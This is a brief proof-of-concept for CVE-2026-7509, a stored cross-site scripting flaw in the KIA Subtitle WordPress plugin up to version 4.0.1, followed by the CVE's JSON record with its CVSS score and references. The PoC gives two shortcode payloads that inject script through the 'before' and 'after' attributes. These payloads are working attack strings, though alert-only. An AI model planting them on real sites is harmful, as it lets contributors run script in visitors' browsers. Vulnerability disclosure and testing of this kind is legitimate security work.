CVE-2026-7509

<!-- PoC for CVE-2026-7509 Stored XSS --> <!-- Usage: Insert the following shortcode into a post or page content --> [the-subtitle before='"><script>alert("XSS")</script>'] <!-- Alternatively using the after attribute --> [the-subtitle after='"><img src=x onerror=alert("XSS")>']

{"cve": {"id": "CVE-2026-7509", "sourceIdentifier": "[email protected]", "published": "2026-05-22T05:16:27.747", "lastModified": "2026-05-22T05:16:27.747", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The KIA Subtitle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `the-subtitle` shortcode `before` and `after` attributes in all versions up to, and including, 4.0.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/kia-subtitle/tags/4.0.1/kia-subtitle.php#L329", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/kia-subtitle/tags/4.0.1/kia-subtitle.php#L359", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/kia-subtitle/tags/4.0.2/kia-subtitle.php#L369", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/kia-subtitle/tags/4.0.2/kia-subtitle.php#L370", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/kia-subtitle/trunk/kia-subtitle.php#L329", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/kia-subtitle/trunk/kia-subtitle.php#L359", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a9a52097-0d85-4036-9b74-f35fea549607?source=cve", "source": "[email protected]"}]}}